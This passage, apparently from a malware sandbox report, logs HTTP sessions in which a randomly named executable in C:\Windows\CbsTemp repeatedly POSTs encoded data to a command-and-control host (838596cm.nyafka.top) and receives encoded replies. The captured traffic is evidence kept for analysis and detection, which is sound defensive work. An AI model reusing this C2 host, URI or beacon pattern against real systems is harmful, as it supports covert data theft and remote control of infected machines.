Jan 8, 2025 17:13:49.787061930 CET	816	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hwlxbM12zOpH2%2FWTtLw27cM8%2B6mtsd9C4BSC24%2B8iUSrir4Vcfci2HoZcHIdED4MdWG%2B7I2Z%2BLGBM6VjvWYLNEiTUlSk5jxVM6GqXw%2FhC7rNuv4zHEcSBN%2Bnr%2BpgVTTJG8gDWp%2B5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a206a0043b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5724&min_rtt=2207&rtt_var=7863&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=48108&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50049	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:49.823780060 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1828 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:50.176285982 CET	1828	OUT	Data Raw: 55 52 5b 55 59 50 56 5b 5e 5f 57 54 56 58 59 59 57 52 58 52 50 54 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UR[UYPV[^_WTVXYYWRXRPTVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+%3*9Y,,>X!\)]=\']!(#>;5?X-/#_&'P-?
Jan 8, 2025 17:13:50.282531977 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:50.502681017 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:50.526631117 CET	961	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bEWprdgW%2Ft9CFmGXMHCWVbssToVIO79YT4OWr8u5WJJMOR%2FxUHf981FFFRsBMNzAolRZbilO9PRaOIv%2BrzVvd0tcNw1%2FNbRpA5kDu1CmgY46%2BFYCfItXvN8QZkbyV1B%2FnnIrH%2BeJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a24fa5f424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4154&min_rtt=1591&rtt_var=5723&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2177&delivery_rate=66072&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0f 24 5b 20 1d 20 38 22 0f 28 5c 27 59 2a 20 3a 1d 2c 39 24 11 27 27 24 17 25 2c 34 58 23 2f 3a 00 2a 28 36 01 26 36 2c 50 3c 01 20 5c 04 1f 27 06 3e 38 35 53 3e 06 2e 1b 24 1d 0f 58 26 1d 01 01 27 3d 3b 5d 27 17 39 0c 34 29 01 1c 2e 20 22 1b 2e 5e 24 11 3f 27 0e 5b 24 3e 2f 50 0f 10 38 54 2c 29 09 5a 21 08 3e 1f 36 1d 24 05 20 25 2c 13 3d 3e 2c 08 21 2f 32 03 24 55 26 0f 20 0c 20 08 25 33 05 19 28 0f 2b 0d 2b 09 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'$[ 8"(\'Y* :,9$''$%,4X#/:*(6&6,P< \'>85S>.$X&'=;]'94). ".^$?'[$>/P8T,)Z!>6$ %,=>,!/2$U& %3(++$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50050	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:49.982583046 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:50.332700014 CET	2532	OUT	Data Raw: 55 55 5e 51 59 5a 53 5e 5e 5f 57 54 56 5d 59 58 57 56 58 59 50 5e 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU^QYZS^^_WTV]YXWVXYP^V^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Y++X$09)%[.'7X>=(;0;"R+/)+!=$-/#_&'P-+
Jan 8, 2025 17:13:50.441564083 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:50.677186966 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u6jL61g0FOk%2BYtKGOP2rL1fZ5XAT%2BFfUbangAjysat6lXiT33RLytQIMGqig2u11rfDiyzixrr3hUKSaq2ldM%2FlnmXLqgLRnxQuZz4FEsXJyeNmLFYPOLSwrCQg7IfTx9Af7GENm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a25fe0ac34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7588&min_rtt=1480&rtt_var=12772&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=28998&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50051	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:50.831573963 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:51.178128004 CET	2532	OUT	Data Raw: 55 5c 5e 53 5c 5d 56 5c 5e 5f 57 54 56 57 59 58 57 5f 58 52 50 5e 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\^S\]V\^_WTVWYXW_XRP^VX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ [<8/X0 .)/7+*6>&+:Q?,>?$[!7,/#_&'P-
Jan 8, 2025 17:13:51.278647900 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:51.517340899 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lg1Vhx0W%2BaHIordXJai5RYN%2BxvrGQ1MttdsccBagv%2FWyDvyZ9PyVBLNO0d1yFCNGp5CZIMR1iBQvOm338RHMO4STdG0xRCvxY4sbZ50H5DQVKZiwLCqBvlI1IklHG8HNURUHrV8t"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a2b3aea424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4345&min_rtt=1597&rtt_var=6096&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=61903&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50052	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:51.753628016 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:52.098242044 CET	2528	OUT	Data Raw: 50 56 5b 57 59 59 56 53 5e 5f 57 54 56 5e 59 5e 57 5f 58 52 50 58 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV[WYYVS^_WTV^Y^W_XRPXVZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ <3'0!-.4>>=*:0!+)? Y5>+:#_&'P-7
Jan 8, 2025 17:13:52.210783005 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:52.446707010 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OUUp8yz7hwc4Wpf0IJxjiBEKesc9zSQRO6%2B6CCE8O17w%2BT2Jc%2BcV8sXjqp9DZl47HnTCEs4rmahZ7aPpic4Wf0mSDZeOlX0FEiVlR7B73SqAsKd4AGv%2BtnIEejEq43rgzxaBVkJY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a310ee0727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3610&min_rtt=2007&rtt_var=3960&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=98409&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50053	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:52.577358007 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:52.930128098 CET	2528	OUT	Data Raw: 55 53 5e 52 59 5c 53 5e 5e 5f 57 54 56 5e 59 5d 57 56 58 52 50 5b 56 51 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: US^RY\S^^_WTV^Y]WVXRP[VQ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#<;0$0===9.$3X=-91$-)",Y<6>7-?#_&'P-
Jan 8, 2025 17:13:53.029378891 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:53.194094896 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GIns5c17VNzH0fn302V5cFRS2I%2BCawhkGLVqADuZoC%2F2nmPTcxD9PyT7VxeyaeudPRYZDlj%2Bkseg1uf4tdtjAT6ztTlo9UkAbRSBmanQ%2B87ngx3i6mjWKftR9agAcV0i47ZkYnd3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a362ef143b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4145&min_rtt=1561&rtt_var=5754&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=65659&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50054	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:53.324536085 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:53.676292896 CET	2532	OUT	Data Raw: 50 56 5b 54 5c 5f 56 5d 5e 5f 57 54 56 58 59 5f 57 5e 58 5f 50 5d 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV[T\_V]^_WTVXY_W^X_P]V\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#<+'01>![,$>6>';>Q)"<(<<",?#_&'P-?
Jan 8, 2025 17:13:53.796535015 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:54.014488935 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:54.032279968 CET	796	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CdYohp5rwm9htkqrNkkR%2BeShUDKBoeqHm2bq7T57HPppYpDI3Wopzhjs46ta2mOGqZPLlTNtDTsEHMcu89TquUVcKiGWdWkMsze7CYFDmOE6W5AxhkuRn2fyz3nCrJ9bMV6r0K1q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a3ae84943b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3197&min_rtt=1606&rtt_var=3784&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=101848&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:13:54.124728918 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50055	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:54.541273117 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:54.894998074 CET	2532	OUT	Data Raw: 50 52 5b 50 5c 58 56 5a 5e 5f 57 54 56 5a 59 5e 57 50 58 5b 50 58 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PR[P\XVZ^_WTVZY^WPX[PXV[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(++$0>^-];7#[)>]"'S?/_)/8Y5=^9/#_&'P-7
Jan 8, 2025 17:13:54.994374990 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:55.238485098 CET	817	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B1GOXktV7UXxAabb3ucL%2Bq7Au1fyyLohpTN4AD%2FT56R%2Fqu%2FccnB2BL%2Bmq5ujEXJ6M9Z9kgcRiNDGJs%2Bz2loNKM5JeBL9WIvfT6uxd1oWPwktgDhgFFJmalWB6%2F%2BSJkDpAbFcBOHW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a426f69c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2860&min_rtt=1538&rtt_var=3222&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=120471&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50056	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:55.372756958 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50057	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:55.543040037 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:55.895045042 CET	1852	OUT	Data Raw: 55 5d 5e 57 5c 5c 53 59 5e 5f 57 54 56 5a 59 5e 57 54 58 5d 50 5a 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U]^W\\SY^_WTVZY^WTX]PZVP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ [<<$3._?=X;43=>6)+)Z3%(10*8Y">'-#_&'P-7
Jan 8, 2025 17:13:55.989758015 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:56.241077900 CET	953	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vY9ynzDZ0BID5OWNN0zCV0tiBPCs3kUmvgI3Jf7R1rXWgouRqn8H0cvIk6RQQyjUAt2pqm0fuqF3ShXKApcMoEdx4zZAjc927f%2BxjKlBYkjjkT72nrDQ3QctZBxZHOxvz9Wwp%2F%2Fr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a48aeb1729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3644&min_rtt=1955&rtt_var=4112&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2201&delivery_rate=94357&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0d 24 13 27 06 37 3b 00 0f 2b 04 3f 1d 2a 23 26 10 2e 00 2b 01 27 34 38 1a 25 12 2c 5d 22 2f 39 5b 2b 16 25 59 24 25 34 56 2a 2b 20 5c 04 1f 24 1b 28 01 3d 10 2a 06 2a 15 30 0a 39 13 26 33 0e 5c 32 3e 30 03 30 07 22 56 21 29 33 13 3b 0d 08 50 2e 38 20 59 2a 24 2c 5d 26 3e 2f 50 0f 10 38 54 2c 3a 2f 5b 36 0f 07 0e 35 30 2b 5a 20 26 27 03 2a 3e 30 0b 36 3f 3e 07 27 55 36 0b 23 0b 2f 1f 24 1d 30 05 3f 1f 23 0a 3c 19 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'$'7;+?#&.+'48%,]"/9[+%Y$%4V+ \$(=*09&3\2>00"V!)3;P.8 Y$,]&>/P8T,:/[650+Z &'*>06?>'U6#/$0?#<$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50058	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:55.669076920 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:56.019989014 CET	2528	OUT	Data Raw: 50 56 5e 55 59 59 53 5c 5e 5f 57 54 56 5e 59 59 57 5f 58 58 50 54 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV^UYYS\^_WTV^YYW_XXPTVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(+003>9.$0"(+';:R+"7!#].#_&'P-+
Jan 8, 2025 17:13:56.140156984 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:56.412748098 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VxlhHaHzqSanGdq7EWgdJm4V%2BAZu60QGjXUGsY4bdmZk8LeJ5hfMuQIZtmSrruUOAOcw3n%2F%2Flk0ab5aOp1oj2i%2FmJ6o0Aun0uXXW53InGC07WGr%2BRu9SdYOdxe9Zs1FGIGqnvI50"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a498999727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: 